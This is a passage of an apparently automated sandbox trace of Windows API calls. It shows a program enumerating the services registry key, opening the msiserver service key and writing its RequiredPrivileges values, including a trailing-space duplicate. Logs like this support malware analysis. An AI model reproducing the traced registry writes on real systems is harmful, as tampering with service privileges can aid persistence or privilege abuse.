dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0238.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0238.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0238.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0238.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0238.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0238.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0238.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0238.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0238.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0238.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0238.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0238.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0238.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0238.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0238.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0238.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0238.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0238.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0238.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0238.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0238.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0238.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0238.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0238.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0238.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0238.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0238.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0238.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0238.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0238.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0238.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0238.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0238.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0238.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0238.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0238.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0238.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0238.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0238.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0238.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0238.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0238.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0238.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0238.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0238.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0238.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0238.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0238.984] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0238.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0238.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0238.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0238.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0238.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0238.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0238.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0238.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0238.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0238.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0238.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0238.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0238.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0238.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0238.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0238.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0238.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0238.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0238.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0238.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0238.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0238.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0238.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0238.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0238.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0238.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0238.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0238.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0238.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0238.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0238.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0238.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0238.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0238.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0238.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0238.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0238.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0238.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0238.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0238.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0238.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0238.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0238.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0238.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0238.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0238.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0238.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0238.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0238.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0238.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0238.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0239.036] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0239.036] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0239.036] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0239.036] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0239.036] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0239.036] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0239.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0239.037] RegCloseKey (hKey=0x150) returned 0x0 [0239.037] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0239.037] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0239.037] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0239.037] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0239.037] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0239.037] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0239.037] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0239.037] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0239.037] RegCloseKey (hKey=0x80000002) returned 0x0 [0239.037] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0239.037] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0239.037] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0239.037] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0239.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0239.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0239.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0239.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0239.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0239.038] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0239.038] RegCloseKey (hKey=0x148) returned 0x0 [0239.038] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0239.038] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0239.038] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0239.038] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0239.038] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0239.038] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0239.038] RegCloseKey (hKey=0x150) returned 0x0 [0239.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0239.039] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0239.039] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0239.039] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0239.039] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0239.039] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0239.039] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0239.039] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0239.039] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0239.039] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.040] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.040] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.040] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.040] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.040] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.040] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.040] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.040] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.040] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.040] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.040] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.040] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.040] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.041] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.041] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0239.041] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0239.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0239.041] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0239.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0239.041] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.041] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.041] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.041] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.041] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.041] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.041] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.042] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.042] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 